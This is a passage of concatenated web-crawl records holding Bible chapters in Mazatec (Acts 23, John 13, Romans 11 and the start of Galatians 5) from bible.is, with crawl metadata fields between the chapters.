síhixat'aà‑lè. 27Xi̱ta̱ xi tìsìkasén‑lè, jñà xi̱ta̱ judío kitsobà'ñó, kjo̱meé kisìk'en, ta̱nga 'a̱n tsohósi̱koa̱a nga kiìkoa̱a soldado‑na̱ nga jye kis'ejiìn‑na nga xi̱ta̱ Roma‑né. 28'A̱n, mejèn‑na nga skoeè mé kjoa̱ xi tjín‑la̱. K'oa̱á komà‑ne nga kiìkoa̱a ñánda títsa̱jna xi̱ta̱xá judío. 29K'e̱ nga ijchòkoa̱a, kisijiìn‑na nga tà koií kjoa̱‑la̱ xi kjo̱tíxoma ts'e̱. Nì mé jé tjín‑la̱ nga ki̱yá; skanda mìkiì ok'ìn‑la̱ nga nda̱yá kíjna i̱ya. 30'A̱n, kis'eno̱jmí‑na nga jñà xi̱ta̱ judío, k'oa̱á s'ín tsajoóya‑ne nga mejèn‑la̱ si̱ìk'en chijé. K'oa̱á ma‑ne nga ji̱ tìsìkasén‑lè. K'oa̱ ti̱s'ín kixan‑la̱ jñà xi̱ta̱ xi óngui nga nguixkoiìn kàtasindaàjiìn‑la̱ mé kjoa̱ xi tjín‑la̱ kondra̱ ts'e̱.\" 31Jñà soldado, k'e̱ nga jye kitjoé‑la̱ o̱kixi̱, kiìko̱ Pablo k'e̱ nga jye kòjñò skanda ján na̱xa̱ndá Antipatris. 32Nga komà nchijòn jñà xi̱ta̱ soldado xi ndso̱ko̱ kiì‑ne, kisìkátji‑ne; inchrobà‑ne skanda cuartel. Tà jñà kiìko̱ Pablo soldado xi kohòyo̱ títsa̱jnasòn. 33Jñà xi̱ta̱ soldado, k'e̱ nga ijchò Cesarea, kisìnga̱tsja jè xi̱ta̱xá ítjòn xo̱jo̱n carta xi 'ya; ti̱koa̱ kisìnga̱tsja Pablo. 34Jè xi̱ta̱xá ítjòn, k'e̱ nga jye tsibíxke̱jiìn xo̱jo̱n carta, kiskònangui ñánda i̱'nde‑la̱ Pablo. K'e̱ nga jye kis'eno̱jmí‑la̱ nga nangui Cilicia i̱'nde‑la̱, 35kitsò‑la̱: ―K'e̱é kji̱'nchrè‑lè k'e̱ nga kjoi̱í xi̱ta̱ xi óngui‑lè. I̱kjoàn kitsjaà o̱kixi̱ nga kàtamakinda̱, ya̱á kíjna ni'ya osen‑la̱ Herodes.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASJV\/Acts\/23","date":"2017-08-17T00:48:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886102757.45\/warc\/CC-MAIN-20170816231829-20170817011829-00053.warc.gz","language":"maa","language_score":1.0000065565,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000065565109253}","num_words":882,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.286,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Chibaá na̱chrjein chija‑ìsa nga ki̱tjo s'eí Paxko̱ ts'e̱ xi̱ta̱ judío. Jesús jyeé tíjiìn‑la̱ nga jye ijchò na̱chrjein nga si̱ìkíjna i̱sò'nde nga jye tífìko̱‑ne Na̱'èn‑la̱. Ta̱nga Jesús tjòkeè kijtseè yije xi̱ta̱‑la̱ i̱ i̱sò'nde kóni skanda jyehet'aà na̱chrjein‑la̱. 2K'e̱ nga jye kòjñò, Jesús tíkjèn‑ko̱ xi̱ta̱‑la̱, ko̱ jè xi̱ta̱ nei̱í jyeé k'oa̱s'ín tsibíjiìn ini̱ma̱‑la̱ jè Judas Iscariote, ti‑la̱ Simón, nga jè si̱ìnga̱tsja Jesús i̱t'aà ts'e̱ xi̱ta̱ kondra̱‑la̱. 3Jesús jyeé tíjiìn‑la̱ nga jè Na̱'èn‑la̱ kisìnga̱tsja yije kjoa̱ nga jè ko̱tìxoma‑la̱ nga i̱t'aà ts'e̱ Nainá inchrobà‑ne ko̱ ti̱jè tífìko̱ ìjngoò k'a‑ne. 4Jesús tsasítje̱n‑t'aà ími̱xa̱, jaàxìn na̱chro̱ xi kisòn‑'nga‑la̱, kiskoé jngoò nikje toalla, tsibíkjá ndáyá‑la̱. 5I̱kjoàn kiskoé jngoò tina̱, tsibíya nandá, tsibíts'ia̱ nga tsaníjno ndso̱ko̱ xi̱ta̱ xi kota'yàt'aà‑la̱, i̱kjoàn kisìxìjno‑ne jè nikje toalla xi tíkjá ndáyá‑la̱. 6K'e̱ nga ijchò kasìt'aà‑la̱ Simón Pedro nga mejèn‑la̱ ko̱níjno ndso̱ko̱, Simón kitsò: ―Na̱'èn, ¿a ok'ín‑na nga ji̱ ko̱nìjnoi ndso̱koaà? 7Kiìchja̱ Jesús, kitsò: ―I̱'ndei̱ mìkiì machi̱ya‑lè mé kjoa̱ xi tìs'iaàn, ta̱nga ko̱ma i̱skan, k'e̱é ko̱chi̱ya‑lè. 8Jè Pedro kitsò: ―Mìkiì tsjaà'nde nga ndso̱koaà ko̱nìjnoi. Jesús kitsò‑la̱: ―Tsà mìkiì kóníjnoa ndso̱koiì mìtsà xi̱ta̱ ts'a̱n xán‑lè. 9K'e̱é kitsò Simón Pedro: ―Na̱'èn, mìtsà tà ndso̱koaà ta̱nìjnoiì, ti̱koa̱á ta̱nìjnoiì ndsa̱a ko̱ skoaà. 10Kiìchja̱ Jesús kitsò‑la̱: ―Jè xi jye tsangàya, tà jè ndso̱ko̱ mochjeén nga saníjno, nga jyeé tsjeè yije yijo‑la̱. Jñò, tsjeé kjoàn na̱s'ín mìtsà kóho̱tjión. 11Jesús koií k'oa̱s'ín kitsò‑la̱: \"Mìtsà tà ngats'ioò nga tsjeè kjoàn\", nga jyeé tíjiìn‑la̱ yá‑né xi si̱ìnga̱tsja i̱t'aà ts'e̱ xi̱ta̱ kondra̱‑la̱. 12K'e̱ nga jye tsaníjno ndso̱ko̱ jñà xi̱ta̱‑la̱, tsohòkjá‑ne na̱chro̱kisòn‑'nga‑la̱. Tsibìjnat'aà‑ne ími̱xa̱, kitsò‑la̱: ―¿A machi̱yaá‑nò kjoa̱ xi kàsiìko̱‑nò? 13Jñò, k'oa̱á bixón nga Maestro ko̱ Na̱'èn 'mì‑ná. Ndaà bixón, kixi̱í kjoa̱ xi 'mì‑ná. 14'A̱n, xi Maestro ko̱ Na̱'èn 'mì‑na, kònìjnoa ndso̱koò, jñò ti̱koa̱á mochjeén‑né nga k'oa̱ ti̱s'ín ta̱nìjnoò ndso̱ko̱ xinguio̱o. 15'A̱n, k'oa̱á s'ín kìjna jngoò‑nò xkósòn mé‑ne jñò k'oa̱ ti̱s'ín ti̱ko̱o xinguio̱o koni s'ín kàsiìko̱‑nò. 16Nguì kjoa̱ kixi̱í xi xan‑nò, jè xi chi̱'nda tíjna, mìtsà jè tíjna ítjòn‑la̱ nei‑la̱. Ti̱koa̱ jè xi satíxá‑la̱ mìtsà jè tíjna ítjòn‑la̱ jè xi otíxá‑la̱. 17I̱'ndei̱ nga jye machi̱ya‑nò kjoa̱ koi, mé ta ndaà‑nò tsà k'oa̱s'ín si̱kitasòn nga ko̱s'ín s'e̱en. 18'Mìtsà ngats'ioò k'oa̱tìxan‑nò; bexkon‑ná jñà xi̱ta̱ xi 'a̱n jaàjñaà. Mochjeén‑né nga kàtitasòn koni s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: \"Jè xi kjèn‑ko̱‑na, ti̱jè‑ne xi kondra̱ kiìtji̱ngui‑na.\" 19Tìbeno̱jmí‑nò kjoa̱ koi k'e̱ nga ti̱kj'eè k'oa̱ ma, mé‑ne k'e̱ nga jye k'oa̱s'ín ko̱ma, ko̱kjeiín‑nò nga 'a̱n‑ná [xi Nainá]. 20Nguì kjoa̱ kixi̱í xi xan‑nò, jè xi skoétjò xi̱ta̱ xi 'a̱n siìkasén, 'a̱án skoétjò‑na; ko̱ jè xi skoétjò‑na, jè skoétjò jè xi kisìkasén‑na. 21Jesús k'e̱ nga jye o̱kitsò, 'ñó jchán kokájno‑la̱; ìjngoò k'a kiìchja̱, kitsò: ―Nguì o̱kixi̱í xi xan‑nò, i̱ tíjnajiìn jngoò‑nò xi si̱ìnga̱tsja‑na i̱t'aà ts'e̱ xi̱ta̱ kondra̱‑na̱. 22Jñà xi̱ta̱ xi kota'yàt'aà‑la̱, xki̱ xi ján kiskoò'an xíkjín nga mìkiì tíjiìn‑la̱ yá‑ne xi o̱títsò‑la̱ Jesús. 23Jngoò xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús ya̱ tíjnakjoòko̱ k'e̱ nga nchikjèn, jè xi̱ta̱‑la̱ xi jè Jesús 'ñó matsjakeè. 24Jè Simón Pedro, kitsjaà‑la̱ seña jè xi̱ta̱ xíkjín xi ya̱ tíjnakjoòko̱ Jesús nga sko̱nangui‑la̱ yá‑né xi o̱títsò‑la̱. 25Jè xi̱ta̱ jè, ìsa̱ 'ñó tsibìjnat'aà chrañà‑la̱; kiskònangui‑la̱, kitsò‑la̱: ―Na̱'èn, ¿yá‑né xi o̱tì'mì‑la̱? 26Kiìchja̱ Jesús kitsò: ―Jè xi tsjaà jngoò‑la̱ i̱nchra̱jín 'nchi̱, jè‑né xi o̱tìxan‑la̱. K'e̱é kitsjaà‑la̱ jè Judas Iscariote, ti‑la̱ Simón. 27Jè xi̱ta̱ nei̱í ni̱to̱ón jahas'en‑jiìn ini̱ma̱‑la̱ Judas k'e̱ nga kiskoé i̱nchra̱jín. Jesús kitsò‑la̱: ―Jè kjoa̱ xi s'i̱in xátíya ko̱t'i̱in. 28Jñà xi̱ta̱ xi títsa̱jnat'aà ími̱xa̱ xi nchikjèn, ni̱jngoò xi kjòchi̱ya‑la̱ mé‑ne ko̱s'ín kitsò‑ne Jesús. 29Tjín i'nga xi̱ta̱ xi k'oa̱s'ín kisìkítsjeèn; maá‑la̱ tsà títsò‑la̱ Jesús: \"Tsojmì ti̱ndí xi ts'e̱ s'eí.\" O tsà títsò‑la̱: \"To̱n tjiì chiba‑la̱ xi̱ta̱ i̱ma̱.\" Nga jè Judas nga̱tsja chijtsa to̱n. 30Judas, k'e̱ nga jye tsakjèn i̱nchra̱jín, ni̱to̱ón itjo ni'ya; kiì; nga jye jñò choòn. 31K'e̱ nga jye itjo ni'ya Judas nga kiì, Jesús kitsò: ―I̱'ndei̱, jè Ki'ndí‑la̱ Xi̱ta̱, jyeé jeya tíjna. Ti̱koa̱ Nainá jyeé jeya tíjna i̱t'aà ts'e̱ Ki'ndí‑la̱. 32Nainá tsà jeya tíjna i̱t'aà ts'e̱ Ki'ndí‑la̱, ti̱jè‑ne Nainá jeya si̱ìkíjna Ki'ndí‑la̱. Ni̱to̱ón jcha̱‑la̱ kjoa̱ jeya‑la̱. 33Jñò, xi ndí i̱xti‑na̱ xan‑nò, mìtsà ti̱ tse kóti̱jnako̱ ìsa̱‑nò. Jñò, ki̱nchátsji‑ná ta̱nga k'oa̱á xan‑nò koni kixan‑la̱ jñà xi̱ta̱ judío: Ya̱ ñánda tìfia, jñò, mìkiì ko̱ma konguió. 34Jngoò kjo̱tíxoma xi̱tse̱ tsjaà‑nò: Ti̱tsjacha xinguio̱o nga jngoò ìjngoò. K'oa̱s'ín ti̱tsjacha xinguio̱o koni s'ín 'a̱n kisìtsjakeè‑nò. 35Tsà k'oa̱s'ín si̱tsjacha xinguio̱o nga jngoò ìjngoò, k'oa̱á s'ín skoe̱‑ne ngats'iì xi̱ta̱ nga kixi̱ kjoa̱ nga ya̱ chìta'yàt'aà‑ná. 36Simón Pedro kiskònangui‑la̱ Jesús, kitsò‑la̱: ―Na̱'èn, ¿ñánda tì'mì? Jesús, kitsò‑la̱: ―Ya̱ ñánda tìfia, mìkiì ko̱ma kjítji̱ngui‑ná xi kjoa̱ ni̱to̱n, ta̱nga k'e̱ nga ko̱ma i̱skan, ko̱maá kjítji̱ngui‑ná. 37Simón Pedro kitsò‑la̱: ―Na̱'èn, i̱'ndei̱, ¿mé‑ne mìkiì ko̱ma kjítji̱ngui‑lè? Tíjngoò takoàn nga 'a̱n ki̱yá ngajo‑lè. 38Jesús kiìchja̱, kitsò‑la̱: ―¿A kixi̱í kjoa̱ nga tíjngoò takoìn nga ji̱ ki̱yá ngajo‑ná? Nguì o̱kixi̱í xi xan‑lè, k'e̱ nga ti̱kj'eè kjindáya kóxtí, jàn k'a tsjá'mat'in‑ná nga mìkiì yaxkon‑ná.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASJV\/John\/13","date":"2017-08-17T12:12:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886103270.12\/warc\/CC-MAIN-20170817111816-20170817131816-00684.warc.gz","language":"maa","language_score":1.0000072718,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000072717666626}","num_words":757,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.271,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'A̱n, 'koa̱á 'sín kjonangiaa̱: Jè Nainá, ¿a kitsjin-takón jè na̱xi̱ndá Israel ra jè chja̱'nda? Majìn, mì tsa ko̱'sín tjín‑jìn. Nga̱ ti̱'koa̱á 'a̱n, xi̱ta̱ Israel 'mì‑naa̱, ya̱á nchrabá‑na ya̱ tje̱‑la̱ Abraham, ko̱ xi̱ta̱ xàngia̱á ma jñà xi̱ta̱ ra nchrabá‑ni a̱'ta 'tse̱ tje̱‑la̱ Benjamín. 2Nainá mì tsa tíbachrjengi jè na̱xi̱ndá‑la̱ ra ijye xá ko̱'sín tsikí'ta xkon nga ti̱'sa̱ tjà'tsin‑la̱ kjoa̱. ¿A mí tjíjin‑no koni 'sín tsò jè xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá a̱'ta 'tse̱ Elías, xi̱ta̱ ra kiìchja̱ ngajo‑la̱ Nainá, nga 'koa̱á 'sín kiìchja̱'ta‑la̱ Nainá ra kondra̱ 'tse̱ na̱xi̱ndá Israel?, nga kitsò: 3\"Na̱'ìn, jñà xi̱ta̱‑li ra chja̱ ngajo‑li ijyeé kisi'ken jñà xi̱ta̱, ko̱ jñà i̱'nde‑li ñánda̱ nga jñà xi̱ta̱ bísòn kjo̱tjò‑la̱ nga sínga̱tsja‑li ijyeé kisìkitsóñà; ko̱ ta 'a̱n ta̱jngoó tíjna̱‑isa ko̱ mejèn‑la̱ nga si̱ì'ken‑te‑na.\" 4Tanga ki̱í tsò 'én ra kitsjà‑la̱ Nainá: \"Majìn, mì tsa ta ji̱ ta̱jngo tijni, itoó jmi ma‑isa‑ni xi̱ta̱ ra títsa̱jnatjò‑na ra kjè tsa ya̱ mincha-xkó'nchi'ta‑la̱ jè nainá ra 'mì Baal.\" 5Ni̱chjin 'ndi̱ 'ndi̱, takó 'koa̱á 'sín ma; takó tjín‑isa xi̱ta̱ Israel ra títsa̱jnatjò‑la̱ Nainá ra xá tsjahíjin‑ni ra ta kjo̱nda 'tse̱. 6'Kia̱ nga ta kjo̱nda 'tse̱ Nainá nga ko̱'sín tsjahíjin xi̱ta̱, tsó‑ni kjoa̱ nga mì tsa ki‑ni nga nda ki'sìn xi̱ta̱; tanga tsa ta jñá‑la‑ni nga̱tjì‑la̱ jñà kjoa̱ ra nda ki'sìn xi̱ta̱, jè kjo̱nda ra kitsjà kjo̱tjò Nainá mí‑la tsa mé chjí‑la̱ tsa'koa̱. 7¿Kó'sín tjín tsa'koa̱? Kií ko̱'sín tjín‑ni, nga̱ kjín xi̱ta̱ Israel ra mì ijchòtji̱ngi‑la̱ kjoa̱ ra tsakátsji. Tà jñá xi̱ta̱ ra xá tsjahíjin‑ni Nainá ijchòtji̱ngi‑la̱. Ko̱ jñà xi̱ta̱ ra i'ka, tà kjótájajín inìma̱‑la̱. 8'Koa̱á 'sín tjí'ta xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: \"Nainá, 'koa̱á 'sín kitsjà‑la̱ nga kisijñòjin ya̱ inìma̱‑la̱ ko̱ nga jñà xko̱n mì kì tsatsíjen‑la̱ ko̱ jñà chíká‑la̱ mì kì kií'nchré skanda ni̱chjin 'ndi̱‑ni̱.\" 9Jè David, 'koa̱á ti̱'sín tsò: Ti̱jè‑ni jñà 'sí ra bínda katama chi̱n‑la̱ nga katakangi, ko̱ katasiya'ñó na̱'ya ko̱ ti̱jñá katasaténgi‑ni, mé‑ni nga katako̱‑la̱ kjo̱hi'in. 10Katasichjà jñà xko̱n mé‑ní nga mì kì ko̱tsíjen‑la̱, ko̱ katamatsi'tin í'tsi̱n skanda ta kjiá‑nioo̱. 11'A̱n, 'koa̱á 'sín kjonangiaa̱, ¿a jngó‑kjá kichijá jñà xi̱ta̱ Israel 'kia̱ nga iskajin kjoa̱ kìi̱? Majìn, mì tsa ko̱'sín tjín‑jìn. Tà nga̱tjì‑la̱ nga mì kì isìhitjasòn jñà xi̱ta̱ Israel, 'koa̱á ma‑ni nga jñà ra mì tsa xi̱ta̱ Israel itjábé‑la̱ jè kjo̱nda nga tsikìtsa̱jnandi̱í‑ni ra kjoa̱ 'tse̱ jé‑la̱ mé‑ni nga jñà xi̱ta̱ Israel katamachi̱ni̱‑ni a̱'ta 'tse̱ kjo̱nda‑la̱ Nainá. 12Tsa jñà xi̱ta̱ i̱sà'nde tse kjo̱nda‑la̱ Nainá isakò‑la̱ 'kia̱ nga jñà xi̱ta̱ Israel mì kì isìhitjasòn‑la̱ Nainá ko̱ isìjchija kjo̱nda‑la̱ Nainá, isa̱á‑la ta nda ko̱chikon'tin-isa jè i̱sà'nde 'kia̱ nga jñà xi̱ta̱ Israel jngo kjá koa̱áfa'ta india‑ila̱ Nainá. 13Jiòn ra ko̱tíxian‑no 'ndi̱‑ni̱ ra mì tsa xi̱ta̱ judío 'mì‑no. 'A̱n, bexkón‑ná jè xá ra 'a̱n kisìxáya‑na nga 'a̱n kichjàya‑la̱ jñà ra mì tsa xi̱ta̱ judío. 14Tsa kií ni̱chjin‑ni ko̱chi̱ni̱ i'ka jñà ra xi̱ta̱ xàngia̱ ra ta nga̱tjì‑la̱ jè kjo̱nda ra tjín‑no, mé‑ni nga ti̱'koa̱á ko̱ma kítsa̱jnandi̱í‑ni ra kjoa̱ 'tse̱ jé‑la̱. 15Tsa jñà xi̱ta̱ i̱sà'nde isakò‑la̱ kjo̱'nchán a̱'ta 'tse̱ Nainá 'kia̱ nga jñà xi̱ta̱ judío inachrjengi, isa̱á tse kjo̱nda sa̱kò 'kia̱ nga jñà xi̱ta̱ judío ska̱ábétjò india‑ni Nainá; skanda 'koa̱á ngoya‑la̱ koni tsa jñà xi̱ta̱ ra ijye 'ken kjoa̱áya india‑la̱. 16'Koa̱á ngoya‑la̱ tsa jè Nainá ijye kjonga̱tsja jè ni̱ño̱ ra chjàn ítjòn koni jngo kjo̱tjò, ijyeé 'tse̱é ko̱ma na̱'yo̱ ra ko̱chjeén‑isa ra ko̱ma a̱skan‑nioo̱. Ko̱ tsa jè kja̱ma̱‑la̱ jngo yá ijye kjonga̱tsja jè Nainá koni jngo kjo̱tjò, ijyeé 'tse̱é‑te jñà chrja‑la̱ yá. 17Jñà xi̱ta̱ Israel, 'koa̱á 'sín ngoya‑la̱ koni jngo yá olivo ra nda ra kiti'tá chrja‑la̱, ko̱ jiòn, 'koa̱á 'sín ngoya‑la̱ koni jngo chrja‑la̱ yá olivo ijñá nga ya̱á isi'ta ngajo‑la jiòn; 'koa̱á ma‑ni nga ya̱á i̱nchichjíbé jiòn jè nga'ñó‑la̱ kja̱ma̱‑la̱ yá olivo ra nda. 18Tanga kì tà chjàn jiòn nda nachrjengio ijo‑no koni tsa jñà chrja‑la̱ yá olivo ra nda ra xá kiti'tá‑ni. Ti̱kítsjen nga̱ tà isi'ta sòn'nga‑no jiòn ko̱ mì tsa jiòn ra i̱nchi'bì‑la nga'ñó kja̱ma̱‑la̱ yá olivo, ta isa̱á jiòn i̱nchitjábé‑no nga'ñó 'tse̱ kja̱ma̱‑la̱. 19Tanga jiòn, kì 'nga ma takòn nga kixó: \"Kií ko̱'sín kiti'tá‑ni chrja‑la̱ yá olivo nga ji̱n si̱'ta ngajo‑la̱ji̱n.\" 20Ti̱kítsjen, nga̱ kií ko̱'sín kiti'tá‑ni nga mì kì kjokjiín‑la̱; tanga jiòn, kií‑ní nga makjiín‑no nga ya̱ titsa̱'tà‑no, tanga kì tà chjàn 'nga nìkíhijyo ijo‑no, tà isa̱á jnchro ti̱skón. 21Nga̱ jè Nainá, tsa mì kì iskoñákjoa̱‑la̱ chrja‑la̱ yá olivo ra nda, ti̱'koa̱á jiòn, tsa mì kì kixi̱ ki̱tsa̱jna, ti̱'koa̱á mì kì sko̱óñakjoa̱‑te‑no. 22Chítsijen‑la Nainá, 'ñó nda xi̱ta̱; tanga ti̱'koa̱á jè ra mejèn‑la̱ nga nda ki̱tjasòn jè 'én ra chja̱. Mì kì behi̱ma̱ jñà xi̱ta̱ ra itjo'taxìn‑la̱; tanga ra jiòn, nda i̱nchisíko̱‑no. Tanga machjeén‑ní nga ko̱'sín ti̱tsa̱jna koni 'sín tjín jè kjo̱nda ra i̱nchitsjá‑no. Tsa mì kì ko̱'sín 'sia̱an, ti̱'koa̱á ko̱te'tá‑no. 23Tsa jñà xi̱ta̱ Israel koni nga chrja‑la̱ yá olivo ra kiti'tá, tsa tsjín‑ni jè kjo̱bítsjen ra ko̱'sín mì kì makjiín‑la̱, maá ska̱ya‑ni ya̱ i̱'nde‑la̱. Nga̱ jè Nainá tjín‑la̱ nga'ñó nga ko̱ma ki̱i'tà india‑ni ya̱ i̱'nde‑la̱ ñánda̱ nga itjo'ta‑ni. 24Ra jiòn, tsa ya̱á inchrabà‑no nga kiti'tá jiòn jè yá olivo ijñá nga ya̱ isikjo'á‑la̱ jñà yá olivo ra nda ra mì tsa ya̱ bako̱‑no tsiki, isa̱á‑la ta ndi̱to̱n tjábétjò india‑ni jñà chrja‑la̱ yá olivo nda ra xá itjahájin‑ni nga si̱kjo'á india‑ila̱ ya̱ ñánda̱ nga itjo'ta‑ni nga ti̱'sa̱ ítjòn. 25Jiòn 'ndsé, mején‑na nga nda katasijin‑no jè kjoa̱'ma ra ijye ko̱'sín tjínda‑la̱ Nainá, mé‑ni nga mì tsa ta jiòn 'ñó chji̱ne̱ ki̱náchrjengio ijo‑no koni jñà xi̱ta̱ Israel. Nga̱ jñà xi̱ta̱ Israel ra tájajín i'ka inìma̱‑la̱, skanda 'kia̱á ko̱kjiín‑la̱ 'kia̱ nga ijye ko̱jngo‑ni kóhotjín nga'tsì jñà ra mì tsa xi̱ta̱ judío nga kjoa̱ha'sen ñánda̱ nga tíjna Nainá. 26'Kia̱ nga ijye ko̱'sín ko̱ka̱ma, nga'tsì jñà xi̱ta̱ Israel kítsa̱jnandi̱í‑ni ra kjoa̱ 'tse̱ jé‑la̱, koni 'sín tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: Ya̱á nindo Sión kji̱nchrabà‑ni jè ra ma‑la̱ si̱ìkíhijyondi̱í‑ná, ko̱ nga kjo̱híxìn‑la̱ jé‑la̱ xi̱ta̱ ra tje̱‑la̱ Jacob. 27Jè kjoa̱ ra̱kìi̱ ra 'a̱n kindájín‑ko̱ 'kia̱ nga kjohíxìn‑la̱ jñà jé ra tjín‑la̱. 28Tanga 'ndi̱ 'ndi̱, jñà xi̱ta̱ Israel, 'koa̱á 'sín títsa̱hijyo‑la̱ Nainá koni tsa xi̱ta̱ kondra̱‑la̱, ta nga̱tjì‑la̱ 'én xi̱tse̱ ra nda tsò a̱'ta 'tse̱ Cristo; tanga kií ko̱'sín kisìko̱‑ni mé‑ni nga jiòn katatjò'nde‑no nga katamakjiín‑no 'én nda‑la̱ Cristo. Tanga Nainá takó tsjakeé jñà xi̱ta̱ Israel ta nga̱tjì‑la̱ ijyeé ko̱'sín kitsjà‑la̱ tsa'ba jñà xi̱ta̱ jchínga‑la̱ nga na̱xi̱ndá‑la̱ ki̱tso̱‑la̱. 29Nga̱ jè Nainá mì kì tsa ti̱ fa'án‑ni jè kjo̱tjò ra tsjá, ti̱'koa̱ mì tsa ti̱ faháxìn‑ni 'én‑la̱ koni 'sín nga chja̱. 30Jiòn, 'koa̱á ti̱'sín ki'nià 'kia̱ nga ti̱'sa̱ kjotseé, mì kì inìhitjasòn‑la̱ Nainá. Tanga 'ndi̱ 'ndi̱, jè Nainá mahi̱ma̱keé‑no, ta nga̱tjì‑la̱ nga mì kì isìhitjasòn jñà xi̱ta̱ Israel. 31Jè ni̱chjin 'ndi̱ 'ndi̱, jñà xi̱ta̱ Israel mì kì i̱nchisíhitjasòn‑la̱ Nainá; kií jiòn itjábé‑no kjo̱hi̱ma̱takòn‑la̱ Nainá mé‑ni nga jñà xi̱ta̱ Israel ske̱hi̱ma̱takòn‑te‑ni. 32Nga̱ jè Nainá xá ko̱'sín tsikítsa̱hijyo'ñó‑ni nga'tsì xi̱ta̱ nga mì kì kií'nchréhijon, ko̱ xi̱ta̱ Israel, ko̱ ra mì tsa xi̱ta̱ Israel, mé‑ni nga 'kia̱ ka̱ma a̱skan‑nioo̱, ngásòn ngáyaá ko̱hi̱ma̱ke‑ni nga'tsiòo̱. 33Mé ta̱ 'ñó tse ma‑ni kjoa̱chji̱ne̱ ra tjín‑la̱ Nainá ko̱ kjo̱bítsjen ra tjín‑la̱; ni̱jngo xi̱ta̱ ra ma ko̱chi̱ya‑la̱ kó'sín kosòn‑la̱ ko̱ kó'sín tjín kjòn‑ni kjoa̱ ra 'sín. 34¿A tjín jngo xi̱ta̱ ra machi̱ya‑la̱ kó'sín tjín kjòn‑ni jè kjo̱bítsjen ra tjín‑la̱ Nainá? ¿A ra tjín jngo xi̱ta̱ ra ko̱ma tsjá‑la̱ 'én Nainá? 35¿A tjín yá ra kitsjà ítjòn‑la̱, mé‑ni nga jè Nainá si̱ìkáfa‑la̱ a̱skan‑ni? 36Nga'tsì tsajmì ra tjín, jè Nainá tsikínda, jè tjíkinda̱‑la̱ nga títsa̱jnakon, ko̱ jè tímachjeén‑la̱ koni 'sín nga jè mejèn‑la̱. Jè Nainá jeya katijna skanda ta mé ni̱chjin‑nioo̱. Ko̱'sín katama.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/www.bible.is\/MAASAV\/Rom\/11","date":"2017-09-20T06:17:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818686465.34\/warc\/CC-MAIN-20170920052220-20170920072220-00208.warc.gz","language":"maa","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000097751617432}","num_words":1195,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.343,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè Cristo, jngoò k'aá kisìkítsa̱jnandei̱í‑ná i̱t'aà ts'e̱ kjo̱tíxoma xi kitjoé‑la̱ Moisés; k'oa̱á ma‑ne jñò 'ñó kixi̱ ti̱tsa̱jna koni s'ín kisìkítsa̱jnandei̱í‑nò Jesucristo. Kì ti̱ ya̱ onguít'aà‑là kjoa̱ ts'e̱ kjo̱tíxoma xi kitsobà'ñó‑nò skanda kjòtseé. 2'A̱n sobá‑ná xi 'mì‑na Pablo, ti̱ná'ya‑ná koni xan‑nò: tsà si̱t'aà chi̱ba̱‑nò kjoa̱ ts'e̱ circuncisión, mì ti̱ mé kjo̱ndaà sa̱kò‑nò i̱t'aà ts'e̱ Cristo. 3Ìjngoò k'a ko̱xan‑nò, ni̱ta̱ yá xi̱ta̱‑ne xi si̱t'aà chiba‑la̱ kjoa̱ ts'e̱ circuncisión, kjo̱'ñó tjínè‑la̱ nga si̱ìkitasòn yije koni tsò 'én xi tjít'aà xo̱jo̱n ts'e̱ kjo̱tíxoma. 4Jñò xi k'oa̱s'ín mejèn‑nò nga i̱t'aà ts'e̱ kjo̱tíxoma kixi̱ ki̱tsa̱jnaà nga nguixko̱n Nainá, jyeé chinchat'aàxìn‑là Cristo, jyeé chinchat'aàxìn‑là kjo̱ndaà xi tsjá kjo̱tjò‑ná Nainá. 5Ta̱nga ngaje̱n, i̱t'aà ts'e̱é Ini̱ma̱ Tsjeè‑la̱ Nainá titsa̱chiñá‑la̱je̱n nga kixi̱ ki̱tsa̱jna‑je̱n nga nguixko̱n Nainá nga ta koi kjoa̱‑la̱ nga mokjeiín‑naje̱n i̱t'aà ts'e̱ Cristo. 6Nga i̱t'aà ts'e̱ Cristo Jesús, mì ti̱ mé chjí‑la̱ yá‑ne xi tjít'aà chi̱ba̱‑la̱ ko̱ yá‑ne xi tsjìn‑la̱ chi̱ba̱ kjoa̱ ts'e̱ circuncisión. Jè xi chjí‑la̱ nga 'ya‑la̱ koni s'ín mokjeiín‑ná i̱t'aà ts'e̱ Cristo, nga tjín‑ná kjo̱tsjacha. 7Jñò, k'e̱ nga sa̱ ítjòn, ndaà titsa̱honguíko̱o kjo̱hítsjeèn‑nò. ¿Yá xi tsatekjáya‑nò nga mì ti̱ kiì nìkitasòn‑nò xi kjoa̱ kixi̱? 8Jè kjo̱hítsjeèn jè, mìtsà ya̱ nchrobá‑ne ts'e̱ Nainá xi xó kiìchja̱‑nò. 9Ti̱kinda̱a yijo‑nò; nga̱ k'oa̱á tsò jngoò 'én: \"Na̱s'ín i̱tsé‑ne 